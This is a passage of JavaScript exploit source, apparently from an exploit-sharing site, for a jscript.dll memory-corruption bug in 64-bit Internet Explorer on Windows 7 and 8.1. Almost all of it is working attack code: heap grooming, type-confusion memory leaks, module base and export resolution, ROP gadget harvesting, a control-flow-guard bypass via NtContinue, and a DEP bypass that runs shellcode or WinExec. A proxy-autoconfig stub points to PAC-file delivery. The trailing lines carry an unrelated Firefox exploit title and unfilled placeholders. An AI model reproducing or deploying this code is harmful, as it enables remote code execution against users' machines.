its Type field) } //////// //////// // PE parsing/EAT and IAT resolution code //////// function ResolveExport64(ModuleBase, TargetExportNameTable) { var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c)); var EATRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x88)); if(EATRva) { var TotalExports = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x14)); var AddressRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x1C)); var NameRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x20)); var OrdinalRvas = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + EATRva + 0x24)); var MaxIndex = TotalExports; var MinIndex = 0; var CurrentIndex = Math.floor(TotalExports / 2); var TargetTableIndex = 0; var BinRes = 0; var TrailingNullWord = false; if((TargetExportNameTable[TargetExportNameTable.length - 1] & 0xFFFFFF00) == 0) { TrailingNullWord = true; } while(TotalExports) { var CurrentNameRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + NameRvas + 4*CurrentIndex)); while (TargetTableIndex < TargetExportNameTable.length) { var CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex)))); var TargetExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF); var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord); var FinalTableIndex = false; if((TargetTableIndex + 1) >= TargetExportNameTable.length) { FinalTableIndex = true; } BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord); if(!BinRes) { TargetExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16); CurrentNameWord = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + (CurrentNameRva + (4 * TargetTableIndex)) + 2)); SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord); if(TrailingNullWord && FinalTableIndex) { var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex)); var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal))); return MainExport; } BinRes = BinaryCmp(TargetExportNameWord, SanitizedCurrentNameWord); if(!BinRes) { if(FinalTableIndex) { var Ordinal = LeakWord64(MakeQword(ModuleBase.high, ModuleBase.low + OrdinalRvas + 2*CurrentIndex)); var MainExport = MakeQword(ModuleBase.high, ModuleBase.low + LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + AddressRvas + 4*Ordinal))); return MainExport; } TargetTableIndex++; } else { TargetTableIndex = 0; break; } } else { TargetTableIndex = 0; break; } } if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index if(MaxIndex == CurrentIndex) { DebugLog("Failed to find export: index hit max"); break; } MaxIndex = CurrentIndex; CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2); } else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index if(MinIndex == CurrentIndex) { DebugLog("Failed to find export: index hit min"); break; } MinIndex = CurrentIndex; CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2); } if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) { DebugLog("Failed to find export: current, min and max indexes are all equal"); break; } } } return MakeQword(0, 0); } function SelectRandomImport64(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module var ExtractedAddresss = MakeQword(0, 0); var FileHdrRva = LeakDword64(MakeQword(ModuleBase.high, ModuleBase.low + 0x3c)); var ImportDataDirAddress = MakeQword(ModuleBase.high, ModuleBase.low + FileHdrRva + 0x90); // Import data directory var ImportRva = LeakDword64(ImportDataDirAddress); var ImportSize = LeakDword64(MakeQword(ImportDataDirAddress.high, ImportDataDirAddress.low + 0x4)); // Get the size field of the import data dir var DescriptorAddress = MakeQword(ModuleBase.high, ModuleBase.low + ImportRva); while(ImportSize != 0) { var NameRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0xc)); // 0xc is the offset to the module name pointer if(NameRva != 0) { if(StrcmpLeak64(TargetModuleNameTable, MakeQword(ModuleBase.high, ModuleBase.low + NameRva))) { var ThunkRva = LeakDword64(MakeQword(DescriptorAddress.high, DescriptorAddress.low + 0x10)); ExtractedAddresss = LeakQword64(MakeQword(ModuleBase.high, ModuleBase.low + ThunkRva + 0x18)); // +0x18 (4 thunks forwarded) since __imp___C_specific_handler can cause issues when imported in some jscript instances, and similarly on Windows 10 the 2nd import is ResolveDelayLoadedAPI which is forwarded to NTDLL.DLL. break; } ImportSize -= 0x14; DescriptorAddress.low += 0x14; // Next import descriptor in array } else { break; } } return ExtractedAddresss; } function DiveModuleBase64(Address) { Address.low = (Address.low & 0xFFFF0000) + 0x4e; // Offset of "This program cannot be run in DOS mode" in PE header. while(true) { if(LeakWord64(Address) == 0x6854) { // 'hT' if(LeakWord64(MakeQword(Address.high, Address.low + 2)) == 0x7369) { // 'si' return MakeQword(Address.high, Address.low - 0x4e); } } Address.low -= 0x10000; } return MakeQword(0, 0); } function BaseFromImports64(ModuleBase, TargetModuleNameTable) { var RandomImportAddress = SelectRandomImport64(ModuleBase, TargetModuleNameTable); if(RandomImportAddress.low || RandomImportAddress.high) { return DiveModuleBase64(RandomImportAddress); } return MakeQword(0, 0); } //////// //////// // Misc. helper functions //////// function NullSanitizeWord(StrWord) { var Sanitized = 0; if(StrWord != 0) { if((StrWord & 0x00FF) == 0) { Sanitized = 0; // First byte is NULL, end of the string. } else { Sanitized = StrWord; } } return Sanitized; } function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater if(TargetNum == CmpNum) { return 0; } while(true) { if((TargetNum & 0xff) > (CmpNum & 0xff)) { return -1; } else if((TargetNum & 0xff) < (CmpNum & 0xff)) { return 1; } TargetNum = TargetNum >> 8; CmpNum = CmpNum >> 8; } } function DwordToUnicode(Dword) { var Unicode = String.fromCharCode(Dword & 0xFFFF); Unicode += String.fromCharCode(Dword >> 16); return Unicode; } function QwordToUnicode(Value) { return String.fromCharCode.apply(null, [Value.low & 0xffff, (Value.low >> 16) & 0xffff, Value.high & 0xffff, (Value.high >> 16) & 0xffff]); } function TableToUnicode(Table) { var Unicode = ""; for(var i = 0; i < Table.length; i++) { Unicode += DwordToUnicode(Table[i]); } return Unicode; } function DwordArrayToBytes(DwordArray) { var ByteArray = []; for(var i = 0; i < DwordArray.length; i++) { ByteArray.push(DwordArray[i] & 0xffff); ByteArray.push((DwordArray[i] & 0xffff0000) >> 16); } return String.fromCharCode.apply(null, ByteArray); } function StrcmpLeak64(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address var TargetTableIndex = 0; while (TargetTableIndex < StrDwordTable.length) { var LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex))); var SanitizedStrWord = NullSanitizeWord(LeakStrWord); var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF); if(TableWord == SanitizedStrWord) { LeakStrWord = LeakWord64(MakeQword(LeakAddress.high, LeakAddress.low + (4 * TargetTableIndex) + 2)); SanitizedStrWord = NullSanitizeWord(LeakStrWord); TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16); if(TableWord == SanitizedStrWord) { if((TargetTableIndex + 1) >= StrDwordTable.length) { return true; } TargetTableIndex++; } else { break; } } else { break; } } return false; } function MakeDouble(High, Low) { return Int52ToDouble(QwordToInt52(High, Low)); } function QwordToInt52(High, Low) { // Sanity check via range. Not all QWORDs are going to be valid 52-bit integers that can be converted to doubles if ((Low !== Low|0) && (Low !== (Low|0)+4294967296)) { DebugLog ("Low out of range: 0x" + Low.toString(16)); } if (High !== High|0 && High >= 1048576) { DebugLog ("High out of range: 0x" + High.toString(16)); } if (Low < 0) { Low += 4294967296; } return High * 4294967296 + Low; } function Int52ToDouble(Value) { var Low = Value | 0; if (Low < 0) { Low += 4294967296; } var High = Value - Low; High /= 4294967296; if ((High < 0) || (High >= 1048576)) { DebugLog("Fatal error - not an int52: 0x" + Value.toString(16)); Loew = 0; High = 0; } return { low: Low, high: High }; } function MakeQword(High, Low) { return { low: Low, high: High }; } //////// //////// // Dynamic ROP chain creation code //////// function HarvestGadget64(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) { var MaxHighAddress = MakeQword(HintExportAddress.high, (HintExportAddress.low + MagicOffset + MaxDelta)); var MinLowAddress = MakeQword(HintExportAddress.high, ((HintExportAddress.low + MagicOffset) - MaxDelta)); var LeakAddress = MakeQword(HintExportAddress.high, HintExportAddress.low + MagicOffset); var LeakFunc = LeakDword64; // Leaking by DWORD causes some quirks on 64-bit. Bitwise NOT solves issue. var InitialAddress = LeakAddress; var IndexDelta; if(MinLowAddress.low < HintExportAddress.low) { MinLowAddress.low = HintExportAddress.low; // Don't bother scanning below the hint export } DebugLog("Hunting for gadget 0x" + Data.toString(16) + " between 0x" + MinLowAddress.high.toString(16) + MinLowAddress.low.toString(16) + " and 0x" + MaxHighAddress.high.toString(16) + MaxHighAddress.low.toString(16) + " starting from 0x" + LeakAddress.high.toString(16) + LeakAddress.low.toString(16) + " based on hint export at 0x" + HintExportAddress.high.toString(16) + HintExportAddress.low.toString(16)); if(DataMask == 0x0000FFFF) { LeakFunc = LeakWord64; } var LeakedData = LeakFunc(LeakAddress); if((~LeakedData & DataMask) == ~Data) { DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16)); } else { var HighAddress = MakeQword(LeakAddress.high, LeakAddress.low + 1); var LowAddress = MakeQword(LeakAddress.high, LeakAddress.low - 1); LeakAddress = MakeQword(0, 0); while(LowAddress.low >= MinLowAddress.low || HighAddress.low < MaxHighAddress.low) { if(LowAddress.low >= MinLowAddress.low) { LeakedData = LeakFunc(LowAddress); if((~LeakedData & DataMask) == ~Data) { DebugLog("Found gadget from scan below magic at 0x" + LowAddress.high.toString(16) + LowAddress.low.toString(16)); LeakAddress = LowAddress; break; } LowAddress.low -= 1; } if(HighAddress.low < MaxHighAddress.low) { LeakedData = LeakFunc(HighAddress); if((~LeakedData & DataMask) == ~Data) { LeakAddress = HighAddress; IndexDelta = (LeakAddress.low - InitialAddress.low); DebugLog("Found gadget from scan above magic at 0x" + HighAddress.high.toString(16) + HighAddress.low.toString(16) + " (index " + IndexDelta.toString(10) + ")"); break; } HighAddress.low += 1; } } } return LeakAddress; } //////// //////// // Primary high level exploit logic //////// function MakeContextDEPBypass64(NewRSP, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeSize, WritableAddress) { return "\u0000\u0000\u0000\u0000" + // P3Home "\u0000\u0000\u0000\u0000" + // P4Home "\u0000\u0000\u0000\u0000" + // P5Home "\u0000\u0000\u0000\u0000" + // P6Home "\u0003\u0010" + // ContextFlags "\u0000\u0000" + // MxCsr "\u0033" + // SegCs "\u0000" + // SegDs "\u0000" + // SegEs "\u0000" + // SegFs "\u0000" + // SegGs "\u002b" + // SegSs "\u0246\u0000" + // EFlags "\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too! "\u0000\u0000\u0000\u0000" + // Dr1 "\u0000\u0000\u0000\u0000" + // Dr2 "\u0000\u0000\u0000\u0000" + // Dr3 "\u0000\u0000\u0000\u0000" + // Dr6 "\u0000\u0000\u0000\u0000" + // Dr7 "\u0000\u0000\u0000\u0000" + // Rax QwordToUnicode(ShellcodeAddress) + // Rcx QwordToUnicode(ShellcodeSize) + // Rdx "\u0000\u0000\u0000\u0000" + // Rbx QwordToUnicode(NewRSP) + // Rsp "\u0000\u0000\u0000\u0000" + // Rbp "\u0000\u0000\u0000\u0000" + // Rsi "\u0000\u0000\u0000\u0000" + // Rdi "\u0040\u0000\u0000\u0000" + // R8 QwordToUnicode(WritableAddress) + // R9 "\u0000\u0000\u0000\u0000" + // R10 QwordToUnicode(ArtificialStackAddress) + // R11 "\u0000\u0000\u0000\u0000" + // R12 "\u0000\u0000\u0000\u0000" + // R13 "\u0000\u0000\u0000\u0000" + // R14 "\u0000\u0000\u0000\u0000" + // R15 QwordToUnicode(StackPivotAddress); // RIP } function MakeContextWinExec64(CommandLineAddress, StackPtr, WinExecAddress) { return "\u0000\u0000\u0000\u0000" + // P3Home "\u0000\u0000\u0000\u0000" + // P4Home "\u0000\u0000\u0000\u0000" + // P5Home "\u0000\u0000\u0000\u0000" + // P6Home "\u0003\u0010" + // ContextFlags "\u0000\u0000" + // MxCsr "\u0033" + // SegCs "\u0000" + // SegDs "\u0000" + // SegEs "\u0000" + // SegFs "\u0000" + // SegGs "\u002b" + // SegSs "\u0246\u0000" + // EFlags "\u0000\u0000\u0000\u0000" + // Dr0 - Prevents EAF too! "\u0000\u0000\u0000\u0000" + // Dr1 "\u0000\u0000\u0000\u0000" + // Dr2 "\u0000\u0000\u0000\u0000" + // Dr3 "\u0000\u0000\u0000\u0000" + // Dr6 "\u0000\u0000\u0000\u0000" + // Dr7 "\u0000\u0000\u0000\u0000" + // Rax QwordToUnicode(CommandLineAddress) + // Rcx - Command pointer "\u0005\u0000\u0000\u0000" + // Rdx - SW_SHOW "\u0000\u0000\u0000\u0000" + // Rbx QwordToUnicode(StackPtr) + // Rsp "\u0000\u0000\u0000\u0000" + // Rbp "\u0000\u0000\u0000\u0000" + // Rsi "\u0000\u0000\u0000\u0000" + // Rdi "\u0000\u0000\u0000\u0000" + // R8 "\u0000\u0000\u0000\u0000" + // R9 "\u0000\u0000\u0000\u0000" + // R10 "\u0000\u0000\u0000\u0000" + // R11 "\u0000\u0000\u0000\u0000" + // R12 "\u0000\u0000\u0000\u0000" + // R13 "\u0000\u0000\u0000\u0000" + // R14 "\u0000\u0000\u0000\u0000" + // R15 QwordToUnicode(WinExecAddress); // RIP - KERNEL32.DLL!WinExec } function CreateFakeVtable(NtContinueAddress) { var FakeVtable = ""; var Padding = []; for (var i = 0; i < (0x138 / 4); i++) { Padding[i] = 0x11111111; } FakeVtable += DwordArrayToBytes(Padding); FakeVtable += DwordArrayToBytes([NtContinueAddress.low]); FakeVtable += DwordArrayToBytes([NtContinueAddress.high]); for (var i = (0x140 / 4); i < (0x400 / 4); i++) { Padding[i] = 0x22222222; } FakeVtable += DwordArrayToBytes(Padding); return FakeVtable; } var LFHBlocks = new Array(); // If this is local rather than global the exploit does not work on Windows 8.1 IE11 64-bit function Exploit() { if(PayloadType != "shellcode" && PayloadType != "winexec") { DebugLog("Fatal error: invalid payload type"); return 0; } // Initialization: these anchor re-claim counts have varying affects on exploit stability. The higher the anchor count, the more stable, but the more time the exploit will take. if(WindowsVersion <= 7) { ReClaimNameList = ReClaimIndexNameList; NameListAnchorCount = 5000; // 20000 was needed prior to using GC at the start of the exploit. Performance went from around 4 seconds to 700ms when moved to 400. 5000 was the sweet spot on Win7 IE8 64-bit between speed and stability. } else { ReClaimNameList = ReClaimBackupNameLists; if(PacFile) { NameListAnchorCount = 10000; } else { NameListAnchorCount = 400; // The larger this number the more reliable the exploit on Windows 8.1 where LFH cannot easily re-claim } } CollectGarbage(); // This GC is essential for re-claims with randomized LFH on precise regions (such as VVAL re-claim), but it also allows for the GcBlock re-claim count to be drastically reduced (otherwise 20000+ was needed, as in the original exploit) // Trigger LFH for a size of 0x970 for(var i = 0; i < 50; i++) { // Only 50 are needed to activate LFH, but spraying additional allocations seems to help clog existing free memory regions on the heap and improve LFH re-claim reliability on Win8.1+ Temp = new Object(); Temp[Array(570).join('A')] = 1; // Property name size of 0x239 (569 chars with a default +1 added as a terminator) will produce the desired re-claim allocation size. LFHBlocks.push(Temp); } // Re-claim with type confusion NameLists NewUntrackedVarSet(); DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10)); for(var i = 0; i < NameListAnchorCount; i++) { NameListAnchors[i][SizerPropName] = 1; // 0x239 property name size for 0x970 NameList allocation size NameListAnchors[i]["BBBBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit NameListAnchors[i]["\u0005"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked } AnchorObjectsBackup = NameListAnchors; // Backup name list anchor objects (this will allow re-claim to "stick"). // Leak final VVAL address from one of the NameLists var LeakedVvalAddress = 0; var TypeConfusionAligned = false; for(var i = 0; i < UntrackedVarSet.length; i++) { if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] % 1 != 0) { LeakedVvalAddress = (UntrackedVarSet[i] / 4.9406564584124654E-324); // This division just converts the float into an easy-to-read 32-bit number TypeConfusionAligned = true; break; } } if(!TypeConfusionAligned) { DebugLog("Leaked anchor object type confusion re-claim failed: no untracked var aligned with type confusion float/next VVAL pointer"); return 0; } LeakedVvalAddress = Int52ToDouble(LeakedVvalAddress); // In Windows 7, the leaked heap pointer could always be encoded in 32-bits. On Windows 8.1 IE11, it often consumes more. By leaking the final VVAL pointer with a double float we can get the bits we need. Experimenting with this I learned all JS numbers are 52 bits in size. In the event that the leaked pointer has its highest bits set it may be an invalid double. This hasn't be an issue on Windows 7 x64, x86, or Windows 8.1 x64 during my testing. if(!LeakedVvalAddress.high && !LeakedVvalAddress.low) { DebugLog("Leaked anchor object type confusion re-claim failed: conversion of leaked VVAL address (type confusion successful) to double failed (invalid 52-bit integer)"); return 0; } // Re-claim with VAR-referencing-VAR NameLists var PrimaryVvalPropName = "AAAAAAAA"; // 16 bytes for size of GcBlock double linked list pointers for(var i = 0; i < 46; i++) { PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low, LeakedVvalAddress.high, 0, 0); // Type 0x80 is a VAR reference } while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A"; // Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction) NewUntrackedVarSet(); for(var i = 0; i < NameListAnchorCount; i++) { NameListAnchors[i][PrimaryVvalPropName] = 1; } // Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR var LeakedVvalVar; for(var i = 0; i < UntrackedVarSet.length; i++) { if(typeof UntrackedVarSet[i] === "number") { LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object") LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value break; } } DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16)); // Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known) ReClaimNameList(0x11, "A"); if(LeakedVvalVar + "" != 0x11) { DebugLog("Failed to extract final VVAL index via re-claim"); return 0; } // Create the mutable variable which will be used throughout the remainder of the exploit and re=claim with VAR-referencing-VAR to it for dereference ReClaimNameList(0, CreateVar64(0x3, 0x22, 0, 0, 0)); PrimaryVvalPropName = "AAAAAAAA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding. for(var i = 0; i < 46; i++) { PrimaryVvalPropName += CreateVar64(0x80, LeakedVvalAddress.low + 0x40, LeakedVvalAddress.high, 0, 0); // +0x40 is the offset to property name field of 64-bit VVAL struct. Type 0x80 is a VAR reference } while(PrimaryVvalPropName.length < 0x239) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to correct length // Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created) NewUntrackedVarSet(); for(var i = 0; i < NameListAnchorCount; i++) { NameListAnchors[i][PrimaryVvalPropName] = 1; } for(var i = 0; i < UntrackedVarSet.length; i++) { if(typeof UntrackedVarSet[i] === "number") { if(UntrackedVarSet[i] + "" == 0x22) { MutableVar = UntrackedVarSet[i]; break; } } } // Verify the mutable var can be changed via simple re-claim ReClaimNameList(0, CreateVar64(0x3, 0x33, 0, 0, 0)); if(MutableVar + "" != 0x33) { DebugLog("Failed to verify mutable variable modification via re-claim"); return 0; } // Test arbitrary read primitive var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40); if(LeakByte64(MutableVarAddress) != 0x8) { // Change mutable var to a BSTR pointing at itself. DebugLog("Memory leak test failed"); return 0; } // Derive jscript.dll base from leaked Object vtable var DissectedObj = new Object(); var ObjectAddress = LeakObjectAddress64(LeakedVvalAddress, DissectedObj); var VtableAddress = LeakQword64(ObjectAddress); var JScriptBase = DiveModuleBase64(VtableAddress); if(!JScriptBase.low && !JScriptBase.high) { DebugLog("Failed to leak JScript.dll base address"); return 0; } else { DebugLog("Leaked JScript base address: 0x" + JScriptBase.high.toString(16) + JScriptBase.low.toString(16)); } // Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base var Kernel32Base = BaseFromImports64(JScriptBase, [0x4e52454b, 0x32334c45]); if(!Kernel32Base.low && !Kernel32Base.high) { DebugLog("Kernel32.dll base resolution via Jscript.dll imports failed."); return 0; } else { DebugLog("Leaked KERNEL32.DLL base address: 0x" + Kernel32Base.high.toString(16) + Kernel32Base.low.toString(16)); } var VirtualProtectAddress; var WinExecAddress; if(PayloadType == "shellcode") { // Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!VirtualProtect VirtualProtectAddress = ResolveExport64(Kernel32Base, [ 0x74726956, 0x506c6175, 0x65746f72, 0x00007463 ]); // VirtualProtect if(!VirtualProtectAddress.low && !VirtualProtectAddress.high) { DebugLog("Failed to resolve address of KERNEL32.DLL!VirtualProtect"); return 0; } DebugLog("Successfully resolved address of VirtualProtect to: 0x" + VirtualProtectAddress.high.toString(16) + VirtualProtectAddress.low.toString(16)); } else if(PayloadType == "winexec") { // Resolve APIs for command execution: NTDLL.DLL!NtContinue, KERNEL32.DLL!WinExec WinExecAddress = ResolveExport64(Kernel32Base, [0x456e6957]); if(!WinExecAddress.low && !WinExecAddress.high) { DebugLog("Failed to resolve address of KERNEL32.DLL!WinExec"); return 0; } } var MsvcrtBase = BaseFromImports64(JScriptBase, [0x6376736d, 0x642e7472]); if(!MsvcrtBase.low && !MsvcrtBase.high) { DebugLog("Msvcrt.dll base resolution via Jscript.dll imports failed."); return 0; } var NtdllBase = BaseFromImports64(MsvcrtBase, [0x6c64746e, 0x6c642e6c]); if(!NtdllBase.low && !NtdllBase.high) { DebugLog("Ntdll.dll base resolution via Msvcrt.dll imports failed."); return 0; } var NtContinueAddress = ResolveExport64(NtdllBase, [0x6f43744e, 0x6e69746e]); if(!NtContinueAddress.low && !NtContinueAddress.high) { DebugLog("Failed to resolve address of NTDLL.DLL!NtContinue"); return 0; } // Leak an authentic stack pointer to avoid triggering the stack pivot protection built into CFG on Windows 8.1+ within the kernel layer of NTDLL.DLL!NtContinue var CSessionAddress = LeakQword64(MakeQword(ObjectAddress.high, ObjectAddress.low + 24)); // Get CSession from offset 24 var LeakedStackPtr = LeakQword64(MakeQword(CSessionAddress.high, CSessionAddress.low + 80)); LeakedStackPtr.low += 0x8; // Stack alignment needs to be at a 0x10 boundary prior to CALL // Construct a fake vtable and fake object for use within mutable var property name var FakeVtable = CreateFakeVtable(NtContinueAddress); FakeVtable = FakeVtable.substr(0, FakeVtable.length); var FakeVtableAddress = LeakObjectAddress64(LeakedVvalAddress, FakeVtable); var MutableVarAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 0x40); var FakeObjAddress = MakeQword(LeakedVvalAddress.high, LeakedVvalAddress.low + 96); var Context; if(PayloadType == "shellcode") { // Allocate memory for shellcode, API output and an artificial stack var ShellcodeStr = TableToUnicode(Shellcode); var ShellcodeLen = MakeQword(0, (ShellcodeStr.length * 2)); ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here) var ShellcodeAddress = LeakObjectAddress64(LeakedVvalAddress, ShellcodeStr); /* Artificial stack data for use beyond the NTDLL.DLL!NtContinue pivot. NTDLL.DLL!NtContinue --------------------> RIP = <MSVCRT.DLL!0x00019baf> | MOV RSP, R11; RET RCX = Shellcode address RDX = Shellcode size R8 = 0x40 R9 = Leaked address of BSTR to hold out param RSP = Real stack pointer R11 = Artificial stack |-----------------------------| ^ | 2MB stack space (heap) | | |-----------------------------| | | Heap header/BSTR len align | | |-----------------------------| | | KERNEL32.DLL!VirtualProtect | <----------| |-----------------------------| | Shellcode return address ] |-----------------------------| */ var Padding = Array(0x100000 + 1).join('\u0101'); // The +1 here always gives it a clean len (used to be -1) var ArtificialStackStr = Padding; // A couple KB were never enough, even for VirtualProtect and WinExec. The WPAD RPC client shellcode for sandbox escape is exceptionally consumptive with stack memory. ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.low]); ArtificialStackStr += DwordArrayToBytes([VirtualProtectAddress.high]); ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.low]); ArtificialStackStr += DwordArrayToBytes([ShellcodeAddress.high]); ArtificialStackStr = ArtificialStackStr.substr(0, ArtificialStackStr.length); var ArtificialStackAddress = LeakObjectAddress64(LeakedVvalAddress, ArtificialStackStr); ArtificialStackAddress.low += ((ArtificialStackStr.length * 2) - 0x10); // Point RSP at the return address to the shellcode. The address consistently ends up an 0x8 multiple on Windows 7 IE8 64-bit. Stack overfloow exceptions were becoming an issue when I did not include this tail padding. var WritableStr = ""; WritableStr += DwordArrayToBytes([0]); WritableStr = WritableStr.substr(0, WritableStr.length); var WritableAddress = LeakObjectAddress64(LeakedVvalAddress, WritableStr); // Dynamically resolve ROP gadget for stack pivot via export hint var StackPivotAddress; var HintExportAddress = ResolveExport64(MsvcrtBase, [ 0x686e6174, 0x00000066 ]); // tanhf var MagicOffset; if(!HintExportAddress.low && !HintExportAddress.high) { DebugLog("Failed to resolve address of MSVCRT.DLL!tanhf"); return 0; } if(WindowsVersion <= 7) { MagicOffset = 0x2da + 1; // tanhf:0x00076450 (+0x2da) <- 0x0007672a -> (+0x3e5e) ??_7bad_cast@@6B@:0x0007a588 } else { MagicOffset = 0x11f + 19; // tanhf:0x00019a90 (+0x11f) <- 0x00019baf -> (+0x31) acosf:0x00019be0 } // 49:8BE3 | mov rsp,r11 // C3 | ret StackPivotAddress = HarvestGadget64(HintExportAddress, 0x500, 0xC3E38B49, 0x00000000FFFFFFFF, MagicOffset); if(!StackPivotAddress.low && !StackPivotAddress.high) { DebugLog("Failed to resolve address of stack pivot gadget"); return 0; } DebugLog("Gadget address of stack pivot: 0x" + StackPivotAddress.high.toString(16) + StackPivotAddress.low.toString(16)); Context = MakeContextDEPBypass64(LeakedStackPtr, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeLen, WritableAddress); DebugLog("Artificial stack pointer address at 0x" + ArtificialStackAddress.high.toString(16) + " " + ArtificialStackAddress.low.toString(16) +" shellcode at 0x" + ShellcodeAddress.high.toString(16) + ShellcodeAddress.low.toString(16) + " CONTEXT pointer: 0x" + FakeObjAddress.high.toString(16) + FakeObjAddress.low.toString(16)); } else if(PayloadType == "winexec") { CommandStr = CommandStr.substr(0, CommandStr.length); var CommandStrAddress = LeakObjectAddress64(LeakedVvalAddress, CommandStr); Context = MakeContextWinExec64(CommandStrAddress, LeakedStackPtr, WinExecAddress); } var RipHijackPropName = CreateVar64(0x81, LeakedVvalAddress.low + 96, LeakedVvalAddress.high, 0, 0) + CreateVar64(0, FakeVtableAddress.low, FakeVtableAddress.high, 0, 0) + Context; // 96 is the 64-bit prop name offset plus size of mutable VAR and next VAR Type field. /* jscript.dll!Object.Typeof method mov rdi,qword ptr ds:[rdi+8] mov rax,qword ptr ds:[rdi] mov rbx,qword ptr ds:[rax+138] mov rcx,rbx call qword ptr ds:[7FFA554EC628] mov rcx,rdi call rbx Initially RDI holds the pointer to the mutable VAR. Its object pointer is being loaded from +8, and then RDI holds the pointer to the fake Object, which is dereferenced into RAX to obtain the vtable pointer. Offset 0x138 holds the typeof method pointer within the vtable, which is subsequently passed to CFG for validation. Since the fake vtable holds the address of NTDLL.DLL!NtContine in place of its typeof method (and this address is whitelisted by CFG) the security check will succeed and we will end up with an indirect branch instruction (CALL RBX) whch will execute the RIP hijack. Most notably, since a class method will always be passed its "this" pointer as its first parameter (which in x64 will be held in RCX) we not only end up with a RIP hijack but also control of the RCX register. Control of this register allows us to control the first parameter to NTDLL.DLL!NtContinue (in this case a CONTEXT structure pointer) which conveniently will hold a pointer to our fake object, the contents of which we control. Thus the fake object itself will be interpreted as CONTEXT struct we may control. Malicious VVAL property name ------------------ | VAR.Type | <-- Mutable var |----------------| | | VAR.ObjPtr | <------ Referencing fake object appended to itself in the VVAL property name |----------------| | | VAR.Type | |-- Not a real VAR (its Type is skipped and never referenced), just a 0 field. |----------------| | | Fake vtable ptr| <---|-- Fake object begins here. RCX and RDI point here |----------------| | VAR.NextPtr | <-- Unreferenced, a side-effect of using a VAR struct to initialize the fake object. |----------------| | CONTEXT | <-- Notably the first 16 bytes (2 QWORDs) of this struct will be confused with the fake vtable ptr and VAR.NextPtr fields. These fields represent the P1Home and P2Home registers and its fine if they are initialized to 0. |________________| */ ReClaimNameList(0, RipHijackPropName); var TotalTime = (new Date().getTime() - ScriptTimeStart); DebugLog("TIME ... total time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); typeof MutableVar; } function FindProxyForURL(url, host){ return "DIRECT"; } Exploit();
HireHackking

Firefox 72 IonMonkey - JIT Type Confusion

HACKER · %s · %s

